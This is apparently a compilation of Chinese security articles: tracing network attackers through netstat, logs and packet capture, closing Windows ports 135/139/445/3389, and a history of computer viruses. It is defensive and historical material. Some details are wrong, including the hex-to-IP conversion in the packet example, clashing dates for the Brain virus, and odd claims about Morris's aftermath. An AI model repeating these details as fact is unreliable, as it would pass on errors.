追踪网络攻击就是找到事件发生的源头。它有两个方面意义:一是指发现IP地址、MAC地址或是认证的主机名;二是指确定攻击者的身份。网络攻击者在实施攻击之时或之后,必然会留下一些蛛丝马迹,如登录的纪录,文件权限的改变等虚拟证据,如何正确处理虚拟证据是追踪网络攻击的最大挑战。

在追踪网络攻击中另一需要考虑的问题是:IP地址是一个虚拟地址而不是一个物理地址,IP地址很容易被伪造,大部分网络攻击者采用IP地址欺骗技术。这样追踪到的攻击源是不正确的。使得以IP地址为基础去发现攻击者变得更加困难。因此,必须采用一些方法,识破攻击者的欺骗,找到攻击源的真正IP地址。

Netstat命令——实时察看攻击者

使用netstat命令可以获得所有联接被测主机的网络用户的IP地址。Windows系列、Unix系列、Linux等常用网络操作系统都可以使用“netstat”命令。

使用“netstat”命令的缺点是只能显示当前的连接,如果使用“netstat”命令时攻击者没有联接,则无法发现攻击者的踪迹。为此,可以使用Scheduler建立一个日程安排,安排系统每隔一定的时间使用一次“netstat”命令,并使用netstat>>textfile格式把每次检查时得到的数据写入一个文本文件中,以便需要追踪网络攻击时使用。

日志数据——最详细的攻击记录

系统的日志数据提供了详细的用户登录信息。在追踪网络攻击时,这些数据是最直接的、有效的证据。但是有些系统的日志数据不完善,网络攻击者也常会把自己的活动从系统日志中删除。因此,需要采取补救措施,以保证日志数据的完整性。

Unix和Linux的日志

Unix和Linux的日志文件较详细的记录了用户的各种活动,如登录的ID的用户名、用户IP地址、端口号、登录和退出时间、每个ID最近一次登录时间、登录的终端、执行的命令,用户ID的账号信息等。通过这些信息可以提供ttyname(终端号)和源地址,是追踪网络攻击的最重要的数据。

大部分网络攻击者会把自己的活动记录从日记中删去,而且UOP和基于X Windows的活动往往不被记录,给追踪者带来困难。为了解决这个问题,可以在系统中运行wrapper工具,这个工具记录用户的服务请求和所有的活动,且不易被网络攻击者发觉,可以有效的防止网络攻击者消除其活动纪录。

Windows NT和Windows 2000的日志

Windows NT和Windows 2000有系统日志、安全日志和应用程序日志等三个日志,而与安全相关的数据包含在安全日志中。安全日志记录了登录用户的相关信息。安全日志中的数据是由配置所决定的。因此,应该根据安全需要合理进行配置,以便获得保证系统安全所必需的数据。

但是,Windows NT和Windows 2000的安全日志存在重大缺陷,它不记录事件的源,不可能根据安全日志中的数据追踪攻击者的源地址。为了解决这个问题,可以安装一个第三方的能够完整记录审计数据的工具。

防火墙日志

作为网络系统中的“堡垒主机”,防火墙被网络攻击者攻陷的可能性要小得多。因此,相对而言防火墙日志数据不太容易被修改,它的日志数据提供最理想的攻击源的源地址信息。

但是,防火墙也不是不可能被攻破的,它的日志也可能被删除和修改。攻击者也可向防火墙发动拒绝服务攻击,使防火墙瘫痪或至少降低其速度使其难以对事件做出及时响应,从而破坏防火墙日志的完整性。因此,在使用防火墙日志之前,应该运行专用工具检查防火墙日志的完整性,以防得到不完整的数据,贻误追踪时机。

原始数据包——比较可靠的分析方法

由于系统主机都有被攻陷的可能,因此利用系统日志获取攻击者的信息有时就不可靠了。所以,捕获原始数据包并对其数据进行分析,是确定攻击源的另一个重要的、比较可靠的方法。

包头数据分析

表1是一个原始数据包的IP包头数据。表中的第一行是最有用的数字。第一行的最后8位代表源地址。本例中的地址是0xd2、0x1d、0x84、0x96,对应的IP地址是210.45.132.150。通过分析原始数据包的包头数据,可以获得较为可靠的网络攻击者的IP地址,因为这些数据不会被删除或修改。但是,这种方法也不是完美无缺的,如果攻击者对其数据包进行加密,对收集到的数据包的分析就没有什么用处了。

下面是一个IP包头的数据

0x0000 45c0 c823 0000 d306 6002 2c06 d21d 8496

0x0010 22ab b365 c234 0000 0000 4066 dd1d 8818

0x0020 7034 ecf8 0000 5b88 7708 b901 4a88 de34

0x0030 9812 a5c6 0011 8386 9618 0000 a123 6907

0x0040 55c5 0023 3401 0000 5505 b1c5 0000 0000

0x0050 0000 0000 0000 0000 0000

捕获数据包

在一个交换网络环境下捕获数据包比较困难,这主要是因为集线器和交换机在数据交换中本质的不同。集线器采用的是广播式传输,它不支持连接,而是把包发送到除源端口外的所有端口,与集线器相连的所有机器都可以捕获到通过它的数据包。而交换机支持端到端的连接,当一个数据包到达时交换机为它建立一个暂时的连接,数据包通过这个连接传到目的端口。所以,在交换环境下抓包不是一件容易的事。为了获得交换环境下的数据包,可以用下面方法解决:

(1)把交换机的一个“spanning port”(生成端口)配置成象一个集线器一样,通过这个端口的数据包不再与目的主机建立连接,而是广播式地发送给与此端口相连的所有机器。设置一个包捕获主机,便可以捕获到通过“spaning port”的数据包。但是,在同一时刻,交换机只能由一个端口被设置成“spanning port”,因此,不能同时捕获多台主机的数据包。

(2)在交换机之间,或路由器和交换机之间安装一个集线器。通过集线器的数据包便可以被捕获主机捕获。

在用捕获数据包获取攻击者的源地址的方法中,有两个问题需要注意:一是保证包捕获主机由足够的存储空间,因为如果在捕获数据包时网络吞吐量很大的话,硬盘很快会被填满;二是在分析数据包时,可编制一段小程序自动分析,手工分析这么多的数据是不可能的。

搜索引擎——也许会有外的惊喜

利用搜索引擎获得网络攻击者的源地址,从理论上讲没有什么根据,但是它往往会收到意想不到的效果,给追踪工作带来意外惊喜。黑客们在Internet上往往有他们自己的虚拟社区,他们在那儿讨论网络攻击技术方法,同时炫耀自己的战果。因此,在那里经常会暴露他们攻击源的信息甚至他们的身份。

利用搜索引擎追踪网络攻击者的IP地址就是使用一些好的搜索引擎(如搜狐的搜索引擎)搜索网页,搜索关键词是攻击主机所在域名、IP地址或主机名,看是否有贴子是关于对上述关键词所代表的机器进行攻击的。虽然网络攻击者一般在发贴子时会使用伪造的源地址,但也有很多人在这时比较麻痹而使用了真实的源地址。因此,往往可以用这种方法意外地发现网络攻击者的踪迹。

由于不能保证网络中贴子源地址的真实性,所以,不加分析的使用可能会牵连到无辜的用户。然而,当与其方法结合起来使用时,使用搜索引擎还是非常有用的。

系统安全之关闭那些存在隐患的高危端口

作者:mpf_hgsf 来源:赛迪网安全社区

想知道自己的电脑在运行什么,那些东西是否经过你的认可了?这个时候你要进入CMD,用命令netstat -an,查看自己电脑与外界有哪些联系,自己的电脑开放了哪些服务!如果你发现你的电脑开放了3389、139、135就要小心啦。

下面跟我来看看几个几个高危端口是如何关闭的。或许大家曾经用过许多方法,比如用TCP筛选,建立IP安全策略关闭135端口都没能够有效的关闭端口:

135端口主要用于使用RPC(Remote Procedure Call,远程过程调用)协议并提供DCOM(分布式组件对象模型)服务。通过RPC可以保证在一台计算机上运行的程序可以顺利地执行远程计算机上的代码;使用DCOM可以通过网络直接进行通信,能够跨包括HTTP协议在内的多种网络传输。为了避免“冲击波”病毒的攻击,建议关闭该端口。

关闭135端口

单击“开始”——“运行”,输入“dcomcnfg”,单击“确定”,打开组件服务。或在计算机管理中,组件服务中。

在“计算机”选项右边,右键单击“我的电脑”,选择“属性”。在对话框“默认属性”选项卡中,去掉“在此计算机上启用分布式COM”前的勾。

选择“默认协议”选项卡,选中“面向连接的TCP/IP”,单击“删除”按钮,然后重启便关闭了135端口!

关闭139端口

139端口是为“NetBIOS Session Service”提供的,主要用于提供Windows文件和打印机共享以及Unix中的Samba服务。 本地连接状态中的Internet协议(TCP/IP)属性,再在高级TCP/IP设置”对话框中,选择“WINS”选项卡,“禁用TCP/IP上的” NetBIOS。

关闭445端口

在运行中输入regedit,进入注册表,在注册表中找注册表项“HKEY_LOCAL_MACHINE\System\Controlset\Services\NetBT\Parameters”。选择“Parameters”项,右键单击,选择“新建”——“DWORD值”。将DWORD值命名为“SMBDeviceEnabled”。并修改“SMBDeviceEnabled”值,在出现的“编辑DWORD值”对话框中,在“数值数据”下,输入“0”,单击“确定”按钮,完成设置。

关闭3389端口

3389又称Terminal Service,服务终端。在WindowsNT中最先开始使用的一种终端,在Win2K的Professional版本中不可以安装,在Server或以上版本才可以安装这个服务,其服务端口为3389。由于使用简单,方便等特点,一直受系统管理员的青昧。也正式因为他的简便,不产生交互式登陆,可以在后台操作,因此也受到了黑客朋友的喜爱,事实可以说明,现在大多数朋友在入侵之后,都想打开windows终端服务,甚至不惜重启对方的计算机,也要把终端服务安装上,由此可见他的普遍性。另,在在XP系统中又叫做“远程桌面”。

右键单击“我的电脑”,选择“属性,在“远程”选项卡下,去掉远程协助和远程桌面两个选项框里的勾。

除了这些,你必须关闭对应的服务Terminal Service!其它的端口可以在本地安全策略关闭!

你可知道 电脑病毒的概念来自一场游戏

你可知道 电脑病毒的概念来自一场游戏

  作者: BB(整理) 出处: 天极Yesky软件频道

  电脑病毒的起源

  电脑病毒的概念其实源起相当早,在第一部商用电脑出现之前好几年时,电脑的先驱者冯·诺伊曼(John Von Neumann)在他的一篇论文《复杂自动装置的理论及组识的进行》里,已经勾勒出病毒程序的蓝图。不过在当时,绝大部分的电脑专家都无法想像会有这种能自我繁殖的程序。

  1975年,美国科普作家约翰·布鲁勒尔(John Brunner)写了一本名为《震荡波骑士》(Shock Wave Rider)的书,该书第一次描写了在信息社会中,计算机作为正义和邪恶双方斗争的工具的故事,成为当年最佳畅销书之一。

  1977年夏天,托马斯·捷·瑞安(Thomas.J.Ryan)的科幻小说《P-1的春天》(The Adolescence of P-1)成为美国的畅销书,作者在这本书中描写了一种可以在计算机中互相传染的病毒,病毒最后控制了 7,000 台计算机,造成了一场灾难。 虚拟科幻小说世界中的东西,在几年后终于逐渐开始成为电脑使用者的噩梦。

  而差不多在同一时间,美国著名的AT&T贝尔实验室中,三个年轻人在工作之余,很无聊的玩起一种游戏:彼此撰写出能够吃掉别人程序的程序来互相作战。这个叫做"磁芯大战"(core war)的游戏,进一步将电脑病毒"感染性"的概念体现出来。

  1983年11月3日,一位南加州大学的学生弗雷德·科恩(Fred Cohen)在UNIX系统下,写了一个会引起系统死机的程序,但是这个程序并未引起一些教授的注意与认同。科恩为了证明其理论而将这些程序以论文发表,在当时引起了不小的震撼。科恩的程序,让电脑病毒具备破坏性的概念具体成形。

  不过,这种具备感染与破坏性的程序被真正称之为"病毒",则是在两年后的一本《科学美国人》的月刊中。一位叫作杜特尼(A.K.Dewdney)的专栏作家在讨论"磁芯大战"与

苹果二型电脑(别怀疑,当时流行的正是苹果二型电脑,在那个时侯,我们熟悉的PC根本还不见踪影)时,开始把这种程序称之为病毒。从此以后我们对于这种具备感染或破坏性的程序,终于有一个"病毒"的名字可以称呼了。

  第一个真正的电脑病毒

  到了1987年,第一个电脑病毒C-BRAIN终于诞生了(这似乎不是一件值得庆贺的事)。一般而言,业界都公认这是真正具备完整特征的电脑病毒始祖。这个病毒程序是由一对巴基斯坦兄弟:巴斯特(Basit)和阿姆捷特(Amjad)所写的,他们在当地经营一家贩卖个人电脑的商店,由于当地盗拷软件的风气非常盛行,因此他们的目的主要是为了防止他们的软件被任意盗拷。只要有人盗拷他们的软件,C-BRAIN就会发作,将盗拷者的硬盘剩余空间给吃掉。

  这个病毒在当时并没有太大的杀伤力,但后来一些有心人士以C-BRAIN为蓝图,制作出一些变形的病毒。而其他新的病毒创作,也纷纷出笼,不仅有个人创作,甚至出现不少创作集团(如NuKE,Phalcon/Skism,VDV)。各类扫毒、防毒与杀毒软件以及专业公司也纷纷出现。一时间,各种病毒创作与反病毒程序,不断推陈出新,如同百家争鸣。

  DOS时代的著名病毒

  所谓"DOS时代的病毒",意思是说这是从DOS时代就有的老古董,诸位读者可别以为您现在已经进入Windows 95/98的年代,就不会感染DOS时期的病毒。其实由于Windows 95/98充其量不过是一套架构在DOS上的操作系统,因此即使是处在Windows 95/98之下,一不小心还是会惹火上身的!

  耶路撒冷(Jerusalem)

  这个古董级病毒其实有个更广为人知的别称,叫做"黑色星期五"。为什么会有这么有趣的别称?道理很简单:因为只要每逢十三号又是星期五的日子,这个病毒就会发作。而发作时将会终止所有使用者所执行的程序,症状相当凶狠。

  米开朗基罗(Michelangelo)

  米开朗基罗的名字,对于一些早一点的电脑使用者而言,真可说是大名鼎鼎,如雷贯耳。著名的原因除了它拥有一代艺术大师米开朗基罗的名字之外,更重要的是它的杀伤力惊人:每年到了3月6日米开朗基罗生日(这也就是它为什么叫做"米开朗基罗"的原因)时,这个病毒就会以Format硬盘来为这位大师祝寿。于是乎,你辛苦建立的所有资料都毁于一旦,永无翻身之日。

  猴子(Monkey)

  Monkey据说是第一个"引导型"的病毒,只要你使用被Monkey感染过的系统软盘开机,病毒就会入侵到你的电脑中,然后伺机移走硬盘的分区表,让你一开机就会出现"Invalid drive specification"的信息。比起"文件型"病毒只有执行过受感染文件才会中毒的途径而言,Monkey的确是更为难缠了。

  音乐虫病毒(Music Bug)

  这个发作时会大声唱歌,甚至造成资料流失、无法开机的病毒,正是台湾土产的病毒。所以,当你听到电脑自动传来一阵阵音乐声时,别以为你的电脑比别人聪明,那很有可能是中毒了。

  其实这种会唱歌的病毒也不少,有另一个著名的病毒(叫什么名字倒忘了)发作时还会高唱着"两只老虎"呢!

  DOS时期的病毒,种类相当繁杂,而且不断有人改写现有的病毒。到了后期甚至有人写出所谓的"双体引擎",可以把一种病毒创造出更多元化的面貌,让人防不胜防!而病毒发作的症状更是各式各样,有的会唱歌、有的会删除文件、有的会Format硬盘、有的还会在屏幕上显出各式各样的图形与音效。不过幸运的 是,这些DOS时期的古董级病毒,由于大部分的杀毒软件都可以轻易地扫除,所以杀伤力已经大不如前了。

Windows时期的来临

  随着Windows 3.1在全球的风行,正式宣告了个人电脑操作环境进入Windows时代。紧接着,Windows 95/98的大为畅销,使得现在几乎所有个人电脑的操作环境都是在Windows状态下。而在Windows环境下最为知名的,大概就属"宏病毒"与"32位病毒"了。

  宏病毒

  随着各种Windows下套装软件的发展,许多软件开始提供所谓"宏"的功能,让使用者可以用"创造宏"的方式,将一些繁琐的过程记录成一个简单的指令来方便自己操作。然而这种方便的功能,在经过有心人士的设计之后,终于又使得"文件型"病毒进入一个新的里程碑:传统的文件型病毒只会感染后缀为exe和com的执行文件,而宏病毒则会感染Word、Excel、AmiPro、Access等软件储存的资料文件。更夸张的是,这种宏病毒是跨操作平台的。以Word的宏病毒为例,它可以感染DOS、Windows 3.1/95/98/NT、OS/2、麦金塔等等系统上的Word文件以及通用模板。

  在这些宏病毒之中,最为有名的除了后面要讲的Melissa就是令人闻之色变的Taiwan NO.1B 。这个病毒的发作情形是:到了每月的十三号,只要您随便开启一份Word文件,屏幕上会出现一对话窗口,询问你一道庞杂的算数题。答错的话(这种复杂的算数大概只有超人可以很快算出来吧)就会连续开启二十个窗口,然后又出现另一道问题,如此重复下去,直到耗尽系统资源而死机为止。

  虽然宏病毒有很高的传染力,但幸运的是它的破坏能力并不太强,而且解毒方式也较容易,甚至不需杀毒软件就可以自行手动解毒。

  32位病毒

  所谓"32位病毒",则是在Windows 95之后所产生的一种新型态文件型病毒,它虽然同样是感染exe执行文件,但是这种病毒专挑Windows的32位程序下手,其中最著名的就是去年大为流行的CIH病毒了。

  CIH病毒的厉害之处,在于他可以把自己的本体拆散塞在被感染的文件中,因此受感染的文件大小不会有所变化,杀毒软件也不易察觉。而最后一个版本的CIH病毒,除了每个月26日发作,将你的硬盘Format掉之外,有时候还会破坏主板BIOS内的资料,让你根本无法开机!虽然目前大部分的杀毒软件都有最新的病毒码可以解决这只难缠的病毒,不过由于它的威力实在强大,大家还是小心为上。(CIH又可能在今年4月26发作,你不会有事吧?)

  Internet的革命

  有人说Internet的出现,引爆了新一波的信息革命。因为在因特网上,人与人的距离被缩短到极小的距离,而各式各样网站的建立以及搜寻引擎的运用,让每个人都很容易从网络上获得想要的信息。

  Internet的盛行造就了信息的大量流通,但对于有心散播病毒、盗取他人帐号、密码的电脑黑客来说,网络不折不扣正好提供了一个绝佳的渠道。也因此,我们这些一般的使用者,虽然享受到因特网带来的方便,同时却也陷入另一个恐惧之中。

  病毒散播的新捷径

  由于因特网的便利,病毒的传染途径更为多元化。传统的病毒可能以磁盘或其他存储媒体的方式散布,而现在,你只要在电子邮件或ICQ中,夹带一个文件寄给朋友,就可能把病毒传染给他;甚至从网络上下载文件,都可能收到一个含有病毒的文件。

  不过虽然网络使得病毒的散布更为容易,但其实这种病毒还是属于传统型的,只要不随便从一些籍籍无名的网站下载文件(因为有名的网站为了不砸了自己的招牌,提供下载的文件大都经过杀毒处理),安装杀毒软件,随时更新病毒码,下载后的文件不要急着执行,先进行查毒的步骤(因为受传统病毒感染的程序,只要不去执行就不会感染与发作),多半还是可以避免中毒的情形产生。

第二代病毒的崛起

  前面所谈的各式各样的病毒,基本上都是属于传统型的病毒,也就是所谓"第一代病毒"。会有这样的称呼方式,主要是用来区分因为Internet蓬勃发展之后,最新出现的崭新病毒。这种新出现的病毒,由于本质上与传统病毒有很大的差异性,因此就有人将之称为"第二代病毒"。

  第二代病毒与第一代病毒最大的差异,就是在于第二代病毒传染的途径是基于浏览器的,这种发展真是有点令人瞠目结舌!

  原来,为了方便网页设计者在网页上能制造出更精彩的动画,让网页能更有空间感,几家大公司联手制订出Active X及Java的技术。而透过这些技术,甚至能够分辨你使用的软件版本,建议你应该下载哪些软件来更新版本,对于大部分的一般使用者来说,是颇为方便的工具。但若想要让这些网页的动画能够正常执行,浏览器会自动将这些Active X及Java applets的程序下载到硬盘中。在这个过程中,恶性程序的开发者也就利用同样的渠道,经由网络渗透到个人电脑之中了。这就是近来崛起的"第二代病毒",也就是所谓的"网络病毒"。

  兵来将挡,水来土掩

  目前常见的第二代病毒,其实破坏性都不大,例如在浏览器中不断开启窗口的"窗口炸弹",带着电子计时器发出"咚咚"声的"闹闹熊"等,只要把浏览器关闭后,对电脑并不会有任何影响。但随着科技的日新月异,也难保不会出现更新、破坏性更大的病毒。

  只是,我们也不需要因为这种趋势而太过悲观,更不用因噎废食地拒绝使用电脑上网。整个电脑发展史上,病毒与杀毒软件的对抗一直不断的持续进行中,只要小心一点,还是可以愉快地畅游在因特网的世界里。

  相关知识:电脑病毒历史

  最早由冯·诺伊曼提出一种可能性----现在称为病毒,但没引起注意。

  1975 年,美国科普作家约翰·布鲁勒尔 (John Brunner) 写了一本名为《震荡波骑士》(Shock Wave Rider) 的书,该书第一次描写了在信息社会中,计算机作为正义和邪恶双方斗争的工具的故事,成为当年最佳畅销书之一。

  1977 年夏天,托马斯·捷·瑞安 (Thomas.J.Ryan) 的科幻小说《P-1的春天》(The Adolescence of P-1) 成为美国的畅销书,作者在这本书中描写了一种可以在计算机中互相传染的病毒,病毒最后控制了 7,000 台计算机,造成了一场灾难。

  1983 年 11 月 3 日,弗雷德·科恩 (Fred Cohen) 博士研制出一种在运行过程中可以复制自身的破坏性程序,伦·艾德勒曼 (Len Adleman) 将它命名为计算机病毒(computer viruses),并在每周一次的计算机安全讨论会上正式提出,8 小时后专家们在 VAX11/750 计算机系统上运行,第一个病毒实验成功,一周后又获准进行 5 个实验的演示,从而在实验上验证了计算机病毒的存在。

  1986 年初,在巴基斯坦的拉合尔 (Lahore),巴锡特 (Basit) 和阿姆杰德(Amjad) 两兄弟经营着一家 IBM-PC 机及其兼容机的小商店。他们编写了Pakistan 病毒,即Brain。在一年内流传到了世界各地。

  1988 年 3 月 2 日,一种苹果机的病毒发作,这天受感染的苹果机停止工作,只显示“向所有苹果电脑的使用者宣布和平的信息”。以庆祝苹果机生日。

  1988 年 11 月 2 日,美国六千多台计算机被病毒感染,造成 Internet不能正常运行。这是一次非常典型的计算机病毒入侵计算机网络的事件,迫使美国政府立即作出反应,国防部成立了计算机应急行动小组。这次事件中遭受攻击的包括 5 个计算机中心和 12 个地区结点,连接着政府、大学、研究所和拥有政府合同的 250,000 台计算机。这次病毒事件,计算机系统直接经济损失达 9600 万美元。这个病毒程序设计者是罗伯特·莫里斯 (Robert T.Morris),当年 23 岁,是在康乃尔 (Cornell) 大学攻读学位的研究生。

  罗伯特·莫里斯设计的病毒程序利用了系统存在的弱点。由于罗伯特·莫里斯成了入侵 ARPANET 网的最大的电子入侵者,而获准参加康乃尔大学的毕业设计,并获得哈佛大学 Aiken 中心超级用户的特权。他也因此被判 3 年缓刑,罚款 1 万美元,他还被命令进行 400 小时的新区服务。

  1988 年底,在我国的国家统计部门发现小球病毒。

  注:在此文中,把蠕虫、我们常提的病毒定为病毒不同种类。

推广链接